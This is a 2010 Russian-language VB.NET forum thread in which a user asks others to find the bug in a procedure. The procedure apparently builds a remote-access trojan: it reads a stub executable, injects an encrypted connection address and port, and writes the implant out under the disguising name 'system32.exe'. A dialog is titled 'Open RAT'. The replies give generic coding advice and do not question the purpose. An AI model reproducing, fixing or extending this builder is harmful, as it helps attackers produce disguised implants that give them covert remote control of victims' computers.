Visual Basic, .NET, ASP, VBScript
 

   
   
     

Форум - .NET

Страница: 1 |

 

  Вопрос: найдите ошибку Добавлено: 02.10.10 10:54  

Автор вопроса:  Coloss | ICQ: 479007356 
в этой процедуре он должен получать данные и создавать файлик. он увы он вообще ничего не делает.
   Try

            If TextBox17.Text = "" Or TextBox19.Text = "" Then
                MessageBox.Show("You need to choose address and port to connect!!!", "#.30", MessageBoxButtons.OK, MessageBoxIcon.Error)
                Exit Sub
            End If
            Dim y() As Byte
            Dim ad As String = IIf(CheckBox3.Checked, "1", "0")
            Dim test As String = Encrypt(TextBox17.Text & "*" & TextBox21.Text & "*" & TextBox19.Text & "*" & TextBox26.Text & "*" & ad, "&%#@?,:*")
            If test.Length < 150 Then
                For i As Integer = 0 To (149 - test.Length)
                    test = test & "*"
                Next
            End If

            y = StrToByteArray(test)
            Dim fff() As Byte = My.Computer.FileSystem.ReadAllBytes(Application.StartupPath & "\" & "system64.exe")


            ProgressBar2.Maximum = fff.Length
            ProgressBar2.Value = ProgressBar2.Value + 1

            ProgressBar2.Value = 0
            Dim filen As String = TextBox14.Text
            


            If TextBox14.Text = "" Then
                My.Computer.FileSystem.WriteAllBytes(Application.StartupPath & "\" & "system32.exe", fff, False)

                Try
                    Dim TPath As String = Application.StartupPath & "\"
                    Dim file1, filez() As String
                    FileOpen(1, TPath & "system32.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
                    file1 = Space(LOF(1))
                    FileGet(1, file1)
                    FileClose(1)
                    filez = Split(file1, FileS)
                    FileOpen(3, TPath & "1.obj", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
                    FilePut(3, filez(0))
                    FileClose(3)
                    FileOpen(4, TPath & "3.obj", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
                    FilePut(4, test)
                    FileClose(4)
                    FileOpen(5, TPath & "2.obj", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
                    FilePut(5, filez(1))
                    FileClose(5)

                    Dim b1() As Byte = My.Computer.FileSystem.ReadAllBytes(TPath & "1.obj")
                    Dim b2() As Byte = My.Computer.FileSystem.ReadAllBytes(TPath & "2.obj")
                    Dim b3() As Byte = My.Computer.FileSystem.ReadAllBytes(TPath & "3.obj")
                    My.Computer.FileSystem.WriteAllBytes(TPath & "system32.exe", b1, False)
                    My.Computer.FileSystem.WriteAllBytes(TPath & "system32.exe", b3, True)
                    My.Computer.FileSystem.WriteAllBytes(TPath & "system32.exe", b2, True)
                    My.Computer.FileSystem.DeleteFile(TPath & "1.obj")
                    My.Computer.FileSystem.DeleteFile(TPath & "2.obj")
                    My.Computer.FileSystem.DeleteFile(TPath & "3.obj")
                Catch ex As Exception

                End Try
            Else
                My.Computer.FileSystem.WriteAllBytes(Application.StartupPath & "\" & filen, fff, False)

                Try
                    Dim TPath As String = Application.StartupPath & "\"
                    Dim file1, filez() As String
                    FileOpen(1, TPath & TextBox14.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
                    file1 = Space(LOF(1))
                    FileGet(1, file1)
                    FileClose(1)
                    filez = Split(file1, FileS)
                    FileOpen(3, TPath & "1.obj", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
                    FilePut(3, filez(0))
                    FileClose(3)
                    FileOpen(4, TPath & "3.obj", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
                    FilePut(4, test)
                    FileClose(4)
                    FileOpen(5, TPath & "2.obj", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
                    FilePut(5, filez(1))
                    FileClose(5)

                    Dim b1() As Byte = My.Computer.FileSystem.ReadAllBytes(TPath & "1.obj")
                    Dim b2() As Byte = My.Computer.FileSystem.ReadAllBytes(TPath & "2.obj")
                    Dim b3() As Byte = My.Computer.FileSystem.ReadAllBytes(TPath & "3.obj")
                    My.Computer.FileSystem.WriteAllBytes(TPath & TextBox14.Text, b1, False)
                    My.Computer.FileSystem.WriteAllBytes(TPath & TextBox14.Text, b3, True)
                    My.Computer.FileSystem.WriteAllBytes(TPath & TextBox14.Text, b2, True)
                    My.Computer.FileSystem.DeleteFile(TPath & "1.obj")
                    My.Computer.FileSystem.DeleteFile(TPath & "2.obj")
                    My.Computer.FileSystem.DeleteFile(TPath & "3.obj")
                Catch ex As Exception

                End Try
            End If


            Dim res As DialogResult = MessageBox.Show("Do you want to open destination folder?", "Open RAT", MessageBoxButtons.YesNo, MessageBoxIcon.Information)
            If res = Windows.Forms.DialogResult.Yes Then
                Dim MyProcess As New Process()
                MyProcess.StartInfo.FileName = "Explorer.exe"
                MyProcess.StartInfo.Arguments = Application.StartupPath
                MyProcess.Start()
            End If


        Catch ex As Exception

        End Try

Ответить

  Ответы Всего ответов: 3  

Номер ответа: 1
Автор ответа:
 AgentFire



ICQ: 192496851 

Вопросов: 75
Ответов: 3178
 Профиль | | #1 Добавлено: 02.10.10 17:05
используй namespace IO

Ответить

Номер ответа: 2
Автор ответа:
 



Администратор

ICQ: 278109632 

Вопросов: 42
Ответов: 3949
 Web-сайт: domkratt.com
 Профиль | | #2
Добавлено: 02.10.10 17:35
Пиши код самостоятельно, а не копипасти. Это твоя главная ошибка.

Ответить

Номер ответа: 3
Автор ответа:
 AgentFire



ICQ: 192496851 

Вопросов: 75
Ответов: 3178
 Профиль | | #3 Добавлено: 02.10.10 19:03
да уж, эт-то самое главное

Ответить

Страница: 1 |

Поиск по форуму



© Copyright 2002-2011 VBNet.RU | Пишите нам